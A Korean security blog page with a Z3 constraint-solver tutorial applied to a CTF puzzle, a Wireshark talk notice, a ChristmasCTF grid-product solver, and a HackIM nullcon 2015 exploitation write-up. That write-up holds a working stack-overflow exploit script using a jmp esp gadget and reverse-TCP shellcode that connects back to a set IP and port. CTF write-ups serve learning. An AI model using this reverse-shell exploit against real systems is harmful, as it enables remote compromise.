vortex3

2015. 4. 25. 17:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

vortex2

2015. 4. 25. 17:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

vortex1

2015. 4. 25. 17:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

vortex0

2015. 4. 25. 17:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Z3 은 Microsoft에서 개발한 수식 해석 도구로 방정식과 같은 수학적인 요소들의 해결을 가능하게 해준다. Binary Analysis에 대한 부분도 Z3이 많이 사용 되는데 Pin과 함깨 Concolic Execution이 가능하게 해준다거나 Valgrind의 output을 Z3으로 처리를 해주는 등의 작업을 해줄수 있다. 


설치과정은 아래 링크를 참조하면 쉽게 할 수 있으니 생략하고..

https://github.com/Z3Prover/z3



간단한 예제들을 봐보자.

z3의 Int라는 함수를 이용해 변수 x와 y를 만들어 주고 solve라는 함수에 조건을 줘서 방정식을 해결해준 모습이다.

>>> from z3 import *

>>> x = Int('x')

>>> y = Int('y')

>>> solve(x>2, y<10, x+2*y==7)

[y = 0, x = 7]


아래처럼 expression 들에 대한 traversing도 가능하다

>>> n = x+y>=3

>>> n.num_args()

2

>>> n.children()

[x + y, 3]

>>> n.arg(0)

x + y

>>> n.decl()

>= 


아래는 실수 집합에 대한 수를 정의한후 set_option()이라는 함수를 이용해 추가적인 조건을 줘 값을 출력하는 예제이다 precision에 30을 설정함으로써 소수점 30째자리까지 결과값이 출력이 되도록 해주었다.  

>>> x = Real('x')

>>> y = Real('y')

>>> solve(x**2+y**2==3, x**3==2)

[x = 1.2599210498?, y = -1.1885280594?]

>>> set_option(precision=30)

>>> solve(x**2+y**2==3, x**3==2)

[x = 1.259921049894873164767210607278?,

 y = -1.188528059421316533710369365015?]


이제 Z3의 핵심이자 Binary Analysis에서 가장 많이 쓰이는 Solver에 관해서 알아 볼탠데 위의 예제에서 사용했던 solve()함수는 이 Solver을 이용한 함수이다. Z3은 다양한 Solver를 제공하는데 다음 예를 봐보자.

>>> x = Int('x')

>>> y = Int('y')

>>> s = Solver()

>>> s

[]

>>> s.add(x>10, y==x+2)

>>> s

[x > 10, y == x + 2] 

>>> s.check()

sat

>>> s.push()

>>> s.add(y<11)

>>> s

[x > 10, y == x + 2, y < 11]

>>> s.check()

unsat

>>> s.pop()

>>> s

[x > 10, y == x + 2]

>>> s.check()

sat


Solver()로 기본 solver를 생성하고 add()를 통해 수식들을 추가해 줄 수 있다. 그 뒤 check()라는 함수를 통해 solution이 발견되었을 경우 sat(satisfiable)라는 출력 값을, solution이 발견되지 않았을경우 unsat(unsatisfiable)라는 출력 값을 내뱉는다. push()나 pop()을 이용해서는 solver에 수식을 추가로 더해주거나 뺄수 있다. 


아래 예제와 같이 다양한 메소드를 활용해 가독성을 넓힐 수 도 있다.

>>> x, y, z = Reals('x y z')

>>> s = Solver()

>>> s.add(x>1, y>1, x+y>3, z-x<10)

>>> s.check()

sat

>>> m = s.model()

>>> for d in m.decls():

...     print "%s = %s" %(d.name(), m[d])

... 

z = 0

y = 2

x = 2



Z3에서는 비트 단위를 이용하여 데이터를 표현하는 방식인 비트백터도 사용을 할 수 가 있다. 바로 예제를 살펴보자.

>>> x = BitVec('x', 16)

>>> y = BitVec('y', 16)

>>> simplify(x+y-1)

65535 + x + y

>>> a = BitVecVal(-1, 16)

>>> b = BitVecVal(65535, 16)

>>> simplify(a==b)

True


BitVec()을 통해 16bit크기의 변수를 선언해줬다. 3번째 줄의 simplify를 수행했을때 16bit에서 -1은 65535임을 알 수 있다. 


지금까지 알아본 내용들을 이용하여 Olympic CTF 2014 Welcome To Forensics 문제의 일부를 풀어보자.

eval('FUNCTION FUNCTI0N($PARAMETER) { 

/* ' OMFG A FUNCTION !!! */ 

IF (STRLEN($PARAMETER) <> 16): 

RETURN FALSE; 

ENDIF; 

DIM; $ARRAY = ARRAY(); 

FOR ($I = 1; $I <= STRLEN($PARAMETER); $I++): 

$ARRAY[$I] = ORD(SUBSTR($PARAMETER, $I - 1, 1)); 

ENDFOR; 

IF ((($ARRAY[3] * $ARRAY[6]) ^ ($ARRAY[2] * $ARRAY[2])) - 7320): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[11] * $ARRAY[14]) ^ ($ARRAY[9] * $ARRAY[11])) - 15882): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[14] * $ARRAY[15]) ^ ($ARRAY[11] * $ARRAY[4])) - 11789): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[1] * $ARRAY[9]) ^ ($ARRAY[8] * $ARRAY[9])) - 7184): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[13] * $ARRAY[16]) ^ ($ARRAY[7] * $ARRAY[11])) - 10366): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[9] * $ARRAY[4]) ^ ($ARRAY[4] * $ARRAY[2])) - 6902): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[13] * $ARRAY[15]) ^ ($ARRAY[11] * $ARRAY[16]))): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[14] * $ARRAY[6]) ^ ($ARRAY[6] * $ARRAY[1])) - 2277): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[10] * $ARRAY[9]) ^ ($ARRAY[16] * $ARRAY[15])) - 4385): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[2] * $ARRAY[7]) ^ ($ARRAY[1] * $ARRAY[10])) - 15468): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[3] * $ARRAY[14]) ^ ($ARRAY[6] * $ARRAY[15])) - 8075): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[6] * $ARRAY[3]) ^ ($ARRAY[5] * $ARRAY[10])) - 11550): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[5] * $ARRAY[3]) ^ ($ARRAY[9] * $ARRAY[8])) - 7668): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[13] * $ARRAY[12]) ^ ($ARRAY[12] * $ARRAY[1])) - 3032): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[7] * $ARRAY[4]) ^ ($ARRAY[8] * $ARRAY[13])) - 14067): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[6] * $ARRAY[3]) ^ ($ARRAY[7] * $ARRAY[7])) - 11997): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[12] * $ARRAY[11]) ^ ($ARRAY[5] * $ARRAY[8])) - 13208): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[5] * $ARRAY[16]) ^ ($ARRAY[7] * $ARRAY[13])) - 11282): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[2] * $ARRAY[12]) ^ ($ARRAY[13] * $ARRAY[2])) - 1126): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[8] * $ARRAY[15]) ^ ($ARRAY[9] * $ARRAY[2])) - 326): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[5] * $ARRAY[11]) ^ ($ARRAY[15] * $ARRAY[12])) - 5115): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[16] * $ARRAY[2]) ^ ($ARRAY[15] * $ARRAY[7])) - 1213): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[13] * $ARRAY[12]) ^ ($ARRAY[1] * $ARRAY[16])) - 9471): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[6] * $ARRAY[16]) ^ ($ARRAY[1] * $ARRAY[3])) - 6359): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[16] * $ARRAY[5]) ^ ($ARRAY[14] * $ARRAY[9])) - 7177): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[14] * $ARRAY[10]) ^ ($ARRAY[10] * $ARRAY[1])) - 5846): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[4] * $ARRAY[3]) ^ ($ARRAY[13] * $ARRAY[12])) - 15954): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[8] * $ARRAY[8]) ^ ($ARRAY[1] * $ARRAY[14])) - 3254): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[4] * $ARRAY[15]) ^ ($ARRAY[7] * $ARRAY[8])) - 12137): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[3] * $ARRAY[10]) ^ ($ARRAY[5] * $ARRAY[4])) - 131): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[5] * $ARRAY[4]) ^ ($ARRAY[6] * $ARRAY[10])) - 2685): 

RETURN FALSE; 

ENDIF; 

IF ((($ARRAY[11] * $ARRAY[12]) ^ ($ARRAY[10] * $ARRAY[14])) - 7242): 

RETURN FALSE; 

ENDIF; 

RETURN "YES, $PARAMETER"; 


RETURN TRUE;')


이 무수히 많은 조건들을 일일이 통과할수는 없고 다른 방법이 필요한데 z3을 써주면 아주 간단히 문제를 풀 수 있다.

#!/usr/bin/python


from z3 import *

array = [ BitVec('a%i'%i,8) for i in range(0,17)]


s = Solver()

s.add(((array[3] * array[6]) ^ (array[2] * array[2])) == 7320)

s.add(((array[11] * array[14]) ^ (array[9] * array[11])) == 15882)

s.add(((array[14] * array[15]) ^ (array[11] * array[4])) == 11789) 

s.add(((array[1] * array[9]) ^ (array[8] * array[9])) == 7184) 

s.add(((array[13] * array[16]) ^ (array[7] * array[11])) == 10366) 

s.add(((array[9] * array[4]) ^ (array[4] * array[2])) == 6902)          

s.add(((array[13] * array[15]) ^ (array[11] * array[16])) == 0)

s.add(((array[14] * array[6]) ^ (array[6] * array[1])) == 2277) 

s.add(((array[10] * array[9]) ^ (array[16] * array[15])) == 4385) 

s.add(((array[2] * array[7]) ^ (array[1] * array[10])) == 15468) 

s.add(((array[3] * array[14]) ^ (array[6] * array[15])) == 8075) 

s.add(((array[6] * array[3]) ^ (array[5] * array[10])) == 11550) 

s.add(((array[5] * array[3]) ^ (array[9] * array[8])) == 7668) 

s.add(((array[13] * array[12]) ^ (array[12] * array[1])) == 3032) 

s.add(((array[7] * array[4]) ^ (array[8] * array[13])) == 14067) 

s.add(((array[6] * array[3]) ^ (array[7] * array[7])) == 11997) 

s.add(((array[12] * array[11]) ^ (array[5] * array[8])) == 13208) 

s.add(((array[5] * array[16]) ^ (array[7] * array[13])) == 11282) 

s.add(((array[2] * array[12]) ^ (array[13] * array[2])) == 1126) 

s.add(((array[8] * array[15]) ^ (array[9] * array[2])) == 326) 

s.add(((array[5] * array[11]) ^ (array[15] * array[12])) == 5115) 

s.add(((array[16] * array[2]) ^ (array[15] * array[7])) == 1213) 

s.add(((array[13] * array[12]) ^ (array[1] * array[16])) == 9471) 

s.add(((array[6] * array[16]) ^ (array[1] * array[3])) == 6359) 

s.add(((array[16] * array[5]) ^ (array[14] * array[9])) == 7177) 

s.add(((array[14] * array[10]) ^ (array[10] * array[1])) == 5846) 

s.add(((array[4] * array[3]) ^ (array[13] * array[12])) == 15954) 

s.add(((array[8] * array[8]) ^ (array[1] * array[14])) == 3254) 

s.add(((array[4] * array[15]) ^ (array[7] * array[8])) == 12137) 

s.add(((array[3] * array[10]) ^ (array[5] * array[4])) == 131) 

s.add(((array[5] * array[4]) ^ (array[6] * array[10])) == 2685) 

s.add(((array[11] * array[12]) ^ (array[10] * array[14])) == 7242) 


for i in range(1,17):

    s.add(array[i] >= 32 and array[i] <= 126)


print s.check()

print s.model()


Z3을 다루는데에 이론적인 부분은 많이 필요 없다고 생각하여 예제중심으로 포스팅을 하였읍니다~


Reference

http://blog.dragonsector.pl/2014/02/olympic-ctf-2014-welcome-to-forensics.html

http://z3prover.github.io/api/html/namespacez3py.html

http://cpl0.net/~argp/papers/z3py-guide.pdf

'Programming' 카테고리의 다른 글

crc 정리  (0) 2015.04.26
android php server gcm & multipart  (0) 2014.10.09
Python Assembly Emulator  (0) 2014.07.30
DimiManager 개발 후기  (0) 2014.07.11
심심해서 만든거..  (0) 2014.04.11
Posted by xer0s :

이번 해킹캠프에서 발표한 Wireshark로 패킷 분석하기 발표자료 첨부합니다. 

발표에 쓰인 예제는 '와이어샤크를 활용한 실전 패킷 분석' 에서 퍼왓음을 알립니다.



Table of Contents


Analyzing DNS with Wireshark

Wireshark Filter expression

Advanced Features

- Conversations

- Protocol Hierarchy

- Follow TCP Stream

- Etc..

Real World Problems

Plaid CTF 2014 - curlcore




Wireshark로 패킷 분석하기.pdf 



Posted by xer0s :

HackIM nullcon exploitation400

2015. 1. 11. 17:36

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

HackIM nullcon exploitation300

2015. 1. 11. 17:36

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.



Vulnerability occurs when binary gets 0x1FFF size of input from user  then copys to buffer by sprintf which makes us capable of manipulating the return address 

Binary had no NX and luckily there was jmp esp gadget which we can use it to execute our shellcode.


#!/usr/bin/python


from socket import *

from struct import pack

from time import sleep


p = lambda x : pack("<L", x)


jmpesp = p(0x80488b0)


#linux/x86/shell_reverse_tcp LHOST : 192.168.161.129 LPORT : 4321

shellcode = ""

shellcode += "\xba\xe8\xd3\x61\xde\xda\xc6\xd9\x74\x24\xf4\x5f\x33\xc9"

shellcode += "\xb1\x12\x31\x57\x12\x83\xc7\x04\x03\xbf\xdd\x83\x2b\x0e"

shellcode += "\x39\xb4\x37\x23\xfe\x68\xd2\xc1\x89\x6e\x92\xa3\x44\xf0"

shellcode += "\x40\x72\xe7\xce\xab\x04\x4e\x48\xcd\x6c\x91\x02\x8c\xed"

shellcode += "\x79\x51\xcf\xfd\x98\xdc\x2e\x4d\x3c\x8f\xe1\xfe\x72\x2c"

shellcode += "\x8b\xe1\xb8\xb3\xd9\x89\x6d\x9b\xae\x21\x1a\xcc\x32\xd8"

shellcode += "\xb4\x9b\x50\x48\x1a\x15\x77\xdc\x97\xe8\xf8"


payload ="echo "

payload +="\x41"*0x76 

payload +=jmpesp

payload +="\x90"*50

payload +=shellcode


s = socket(AF_INET, SOCK_STREAM)

s.connect(("localhost", 9000))


print s.recv(1024)

s.send(payload)


s.close()



'General News > Write-Ups' 카테고리의 다른 글

HackIM nullcon exploitation400  (0) 2015.01.11
HackIM nullcon exploitation300  (0) 2015.01.11
ChristmasCTF ALGO200  (0) 2014.12.26
CSAW CTF 2014 Pybabies  (0) 2014.09.26
codegate 2013 vuln200 - exploit only  (0) 2014.02.14
Posted by xer0s :

ChristmasCTF ALGO200

2014. 12. 26. 23:27 from General News/Write-Ups

문제 링크에 들어가보면 다음과 같은 화면이 주어집니다.


n * n 의 (10 <= n <= 30) 격자와, 자연수 x 가 주어집니다

n * n 격자 안에서 x 개의 인접한 수들의 곱의 최대값을 구하시오(수평, 수직, 대각선, 역대각선 모두 포함)


정답 제출 방식 : 


수평으로 곱이 최대값이라면, hori_곱의결과

수직으로의 곱이 최대값이라면, verti_곱의결과

대각선으로의 곱이 최대값이라면 diago_곱의결과

역대각선으로의 곱이 최대값이라면 condiago_곱의결과


정답을 위와 같은 방식으로 제출 해 주십시오


Stage (0 / 20)


65 25 56 10 16 05 08 28 91 41 11 69 06 54 16 16 90 55 69 20 47 86 87 51 92 45 30 92 25

36 90 25 28 79 98 05 56 85 10 34 25 18 27 78 94 43 26 72 65 69 98 54 50 83 70 75 83 66

72 53 96 30 82 75 11 55 67 82 10 22 45 38 50 73 37 20 02 52 46 60 15 63 46 44 69 96 48

68 67 55 15 71 49 73 25 72 91 21 39 23 09 90 64 45 91 31 07 96 71 62 79 42 31 57 88 45

56 19 17 97 04 12 94 55 23 19 95 30 28 37 68 28 78 85 41 90 27 71 60 35 03 24 30 06 95

73 55 98 74 95 44 08 70 13 39 78 88 34 80 69 80 45 47 02 23 65 11 50 26 13 50 58 50 40

84 42 59 22 46 45 64 95 51 19 91 84 62 12 79 37 83 69 32 87 56 45 10 56 20 53 88 54 57

01 85 83 14 98 95 38 84 43 39 68 34 55 69 71 25 14 92 94 41 73 89 58 23 57 15 78 37 29

46 48 68 55 41 97 17 26 13 02 54 23 13 97 56 36 95 84 32 97 14 45 60 80 08 91 09 23 76

22 63 02 97 04 06 95 85 81 39 90 66 62 21 59 65 28 14 65 26 70 94 74 50 90 90 70 25 01

51 88 63 94 39 11 27 68 54 09 87 17 50 12 86 51 29 99 88 65 63 48 53 06 41 29 87 48 17

74 46 25 72 48 51 49 85 09 74 36 16 11 78 72 02 66 39 82 59 10 27 81 31 37 25 91 93 02

51 33 96 12 79 55 46 12 45 22 60 54 24 24 10 36 65 78 85 17 67 72 52 63 95 01 35 79 60

77 53 32 04 48 86 05 61 18 04 64 30 50 48 54 54 88 70 86 38 65 83 86 65 11 78 09 07 17

07 52 97 08 62 87 11 99 73 43 03 91 41 83 40 13 66 27 61 67 49 74 10 17 66 38 97 54 12

15 95 95 73 14 62 73 63 27 05 02 22 33 48 92 71 93 64 18 23 57 49 33 44 46 80 39 13 28

84 43 30 26 42 73 20 71 29 91 02 75 31 37 59 02 71 11 19 14 66 52 70 50 26 64 36 42 01

02 23 89 72 43 13 87 49 31 81 10 38 76 60 45 33 83 88 65 75 36 49 74 15 66 14 15 18 95

66 46 37 97 46 79 64 78 67 74 37 16 47 12 77 96 27 72 42 78 37 90 88 83 69 60 32 32 67

78 04 56 63 97 90 07 98 98 43 88 02 17 10 30 33 25 36 77 41 57 91 08 68 46 95 79 46 23

09 56 40 15 04 39 08 86 70 87 16 19 73 24 32 83 77 73 62 87 39 51 58 23 77 35 30 79 01

27 68 52 65 42 42 43 48 39 35 15 55 92 42 46 92 08 06 59 70 26 20 69 51 08 35 29 61 99

73 14 30 70 74 77 52 59 73 26 77 93 05 83 37 70 94 17 75 21 42 87 51 54 71 64 62 89 23

89 01 03 31 99 88 67 93 18 96 93 20 25 30 40 17 26 54 49 59 25 09 17 41 45 59 98 97 97

84 81 06 32 56 52 59 29 55 38 95 68 04 49 28 99 24 94 29 38 89 52 85 19 04 61 46 12 65

40 32 53 04 30 70 87 46 33 64 67 52 12 52 10 42 66 47 39 25 09 71 67 47 74 75 64 41 63

91 72 68 92 20 69 72 59 33 50 33 19 72 71 35 09 35 17 75 41 67 30 02 65 39 93 51 59 93

93 12 56 76 39 47 66 77 41 78 42 09 02 70 71 18 18 42 66 53 01 70 44 13 62 39 47 81 73

51 60 94 54 09 62 14 40 88 54 09 26 82 73 36 68 13 41 22 33 40 69 19 53 91 78 66 08 16



x = 6


answer> 


조건에 맞추어 코드를 짜주면 되겠습니당.


from socket import *


s = socket(AF_INET, SOCK_STREAM)

s.connect(('prob2.christmasctf.com', 4725))



print s.recv(2048)

a = ""

a=s.recv(4096)

a+=s.recv(4096)

while True:

    print a

    L = ""

    x = int(a.split('\n')[-3].split()[2])

    print x

    L = a.split('\n')[2:-5]

    leng = len(L[0].split())


    M = [i.split() for i in L]

    M = [[int(j) for j in i] for i in M]

    # there are 20 rows, each containing 20 integers

    max_prod = 0

    tmp = ""


    for i in range(leng):

        for j in range(pow(x, 2)):

            # right/left products

            try:

                if x == 4:

                    prod = M[i][j]*M[i][j+1]*M[i][j+2]*M[i][j+3]

                elif x == 5:

                    prod = M[i][j]*M[i][j+1]*M[i][j+2]*M[i][j+3]*M[i][j+4]

                else:

                    prod = M[i][j]*M[i][j+1]*M[i][j+2]*M[i][j+3]*M[i][j+4]*M[i][j+5]

            except:

                pass

            if prod > max_prod: 

                max_prod = prod

                tmp = "hori_"

            # up/down products

            try:

                if x == 4:

                    prod = M[j][i]*M[j+1][i]*M[j+2][i]*M[j+3][i]

                elif x == 5:

                    prod = M[j][i]*M[j+1][i]*M[j+2][i]*M[j+3][i]*M[j+4][i]

                else:

                    prod = M[j][i]*M[j+1][i]*M[j+2][i]*M[j+3][i]*M[j+4][i]*M[j+5][i]

            except:

                pass

            if prod > max_prod:

                max_prod = prod

                tmp = "verti_"

     

    # diagonal products

    for i in range(pow(x, 2)):

        for j in range(pow(x, 2)):

            try:

                if x == 4:

                    prod = M[i][j]*M[i+1][j+1]*M[i+2][j+2]*M[i+3][j+3]

                elif x == 5:

                    prod = M[i][j]*M[i+1][j+1]*M[i+2][j+2]*M[i+3][j+3]*M[i+4][j+4]

                else:

                    prod = M[i][j]*M[i+1][j+1]*M[i+2][j+2]*M[i+3][j+3]*M[i+4][j+4]*M[i+5][j+5]

            except:

                pass

            if prod > max_prod: 

                max_prod = prod

                tmp = "diago_"

    for i in range(3,leng):

        for j in range(16):

            try:

                if x == 4:

                    prod = M[i][j]*M[i-1][j+1]*M[i-2][j+2]*M[i-3][j+3]

                elif x == 5:

                    prod = M[i][j]*M[i-1][j+1]*M[i-2][j+2]*M[i-3][j+3]*M[i-4][j+4]

                else:

                    prod = M[i][j]*M[i-1][j+1]*M[i-2][j+2]*M[i-3][j+3]*M[i-4][j+4]*M[i-5][j+5]

            except:

                pass

            if prod > max_prod:

                max_prod = prod

                tmp = "condiago_"


    key = ""

    key = tmp+str(max_prod)

    s.send(key+"\n")

    print key

    a = ""

    a = s.recv(4096)


실행시켜주고 몇번 오류가 날때마다 다시 실행시켜주면 Stage들이 클리어 됩니다.


크리스마스의 행복도 곱하기가 되길 바라며…


Flag is I_L0VE_S6nta, I_L0Ve_Father, I_L0VE_Y0U… 


'General News > Write-Ups' 카테고리의 다른 글

HackIM nullcon exploitation300  (0) 2015.01.11
HackIM nullcon 2015 exploitation100  (0) 2015.01.11
CSAW CTF 2014 Pybabies  (0) 2014.09.26
codegate 2013 vuln200 - exploit only  (0) 2014.02.14
ropasaurusrex  (1) 2013.12.06
Posted by xer0s :